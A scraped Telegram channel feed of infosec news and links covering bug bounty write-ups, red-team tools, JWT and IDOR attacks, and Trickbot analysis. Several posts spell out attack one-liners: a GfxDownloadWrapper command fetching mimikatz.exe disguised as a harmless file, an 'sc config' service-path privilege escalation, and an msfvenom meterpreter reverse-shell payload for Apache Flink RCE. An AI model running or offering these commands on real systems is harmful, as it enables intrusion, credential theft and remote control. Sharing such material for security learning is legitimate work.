Information Security
@sec_nerd_en
414 subscribers
157 photos
5 videos
9 files
2.28K links
Information Security News

we are @sec_nerd twin brother
Download Telegram
About
Blog
Apps
Platform
Join
Information Security
414 subscribers
Information Security
file downloader (Intel Graphics Driver for Windows 10)

GfxDownloadWrapper.exe "http://10.10.10.10/mimikatz.exe" "C:\Temp\harmless.exe"
122 views
Information Security
https://medium.com/redteam/stealing-jwts-in-localstorage-via-xss-6048d91378a0
Medium
Stealing JWTs in localStorage via XSS
Over the last few months, I’ve come across some implementations of JSON Web Tokens (JWTs) that have ultimately led to compromise of the…
105 views
Information Security
evilarc lets you create a zip file that contains files with directory traversal characters in their embedded path.

Example use: arbitrary file writing your web shell to the doc root on a vuln file upload function

https://github.com/ptoomey3/evilarc

#BugBounty
GitHub
GitHub - ptoomey3/evilarc: Create tar/zip archives that can exploit directory traversal vulnerabilities
Create tar/zip archives that can exploit directory traversal vulnerabilities - ptoomey3/evilarc
117 views
Information Security
https://github.com/arunmagesh/hw_hacking_cheatsheet
GitHub
GitHub - arunmagesh/hw_hacking_cheatsheet: Hardware Hacking Cheatsheet infograph
Hardware Hacking Cheatsheet infograph. Contribute to arunmagesh/hw_hacking_cheatsheet development by creating an account on GitHub.
112 views
Information Security
https://medium.com/@saadahmedx/accidental-idor-8987a2728d4
Medium
Accidental IDOR
Hi guys I hope you all are doing good so this write-up is all about the accidental IDOR that I found in the PRIVATE program so let assume…
105 views
Information Security
https://vx-underground.org/papers/work/Alternate%20methods%20of%20persistence.txt
100 views
Information Security
https://github.com/b17zr/ntlm_challenger
GitHub
GitHub - nopfor/ntlm_challenger: Parse NTLM challenge messages over HTTP and SMB
Parse NTLM challenge messages over HTTP and SMB. Contribute to nopfor/ntlm_challenger development by creating an account on GitHub.
97 views
Information Security
Forwarded from امنیت اطلاعات
CVE-2019-1322
as service user "sc config usosvc binpath= evil.exe" the easiest way eop from service user to system, worked for more than 1 year!


https://twitter.com/decoder_it/status/1193496591140818944?s=20

تست نشده!

#windows
#privesc
#pentest



@sec_nerd
Twitter
ap
CVE-2019-1322  as service user "sc config usosvc binpath= evil.exe" the easiest way eop from service user to system, worked for more than 1 year!
7 views
Information Security
https://www.sec-1.com/blog/2017/office365-activesync-username-enumeration
Sec-1 Labs
Office365 ActiveSync Username Enumeration - Sec-1 Labs
Summary There is a simple username enumeration issue in Office365’s ActiveSync, Microsoft do not consider this a vulnerability so Sec-1 do not expect this issue to be fixed. Sec-1 Penetration Tester Oliver Morton has written a script to exploit this which…
86 views
Information Security
https://mazinahmed.net/blog/breaking-jwt/
Mazin Ahmed
Practical Approaches for Testing and Breaking JWT Authentication
90 views
Information Security
https://medium.com/@inonst/a-deep-dive-on-the-most-critical-api-vulnerability-bola-1342224ec3f2
Medium
A Deep Dive On The Most Critical API Vulnerability — BOLA (Broken Object Level Authorization)
Intro
96 views
Information Security
https://www.sneakymonkey.net/2019/05/22/trickbot-analysis/

https://www.sneakymonkey.net/2019/10/29/trickbot-analysis-part-ii/
you sneakymonkey!
Config & Module Analysis
Research into how to decode the TRICKBOT config, quickly analyse to provide context and help incident response/blue teams.
114 views
Information Security
https://ired.team/offensive-security/defense-evasion/finding-all-rwx-protected-memory-regions
www.ired.team
Enumerating RWX Protected Memory Regions for Code Injection | Red Team Notes
Code Injection, Defense Evasion
123 views
Information Security
https://twitter.com/jas502n/status/1193869996717297664?s=19
Twitter
Jas502n
【Apache Flink Dashboard 未授权访问-远程代码命令执行】 测试环境：1.9.1 1. upload a malicious JAR msfvenom -p java/meterpreter/reverse_tcp LHOST=10.10.20.166 LPORT=8989 -f jar > rce.jar 2. submit new job 3. getshell https://t.co/vOgoux5PhZ
112 views
Information Security
https://safebreach.com/Post/McAfee-All-Editions-MTP-AVP-MIS-Self-Defense-Bypass-and-Potential-Usages-CVE-2019-3648
108 views
Information Security
https://medium.com/@terjanq/massive-xs-search-over-multiple-google-products-416e50dd2ec6
Medium
Massive XS-Search over multiple Google products
A couple of months back, I took a part in researching dangers that come from Cache Probing Attack and new ways to exploit the…
186 views
Information Security
https://spenkk.github.io/bugbounty/Configuring-Frida-with-Burp-and-GenyMotion-to-bypass-SSL-Pinning/
137 views
Information Security
https://www.binarydefense.com/revenge-is-a-dish-best-served-obfuscated/
Binary Defense
Revenge is a Dish Best Served... Obfuscated? - Binary Defense
James QuinnJames Quinn is a SOC Analyst for Binary Defense.  When he is not working at Binary Defense, he works as a freelance malware analyst and produces IOCs for the Cryptolaemus Emotet Group.
108 views
Information Security
https://github.com/tsluyter/Zines
GitHub
tsluyter/Zines
Zines about my personal learning. Contribute to tsluyter/Zines development by creating an account on GitHub.
92 views
Information Security
https://github.com/no0be/DNSlivery
GitHub
GitHub - no0be/DNSlivery: Easy files and payloads delivery over DNS
Easy files and payloads delivery over DNS. Contribute to no0be/DNSlivery development by creating an account on GitHub.
91 views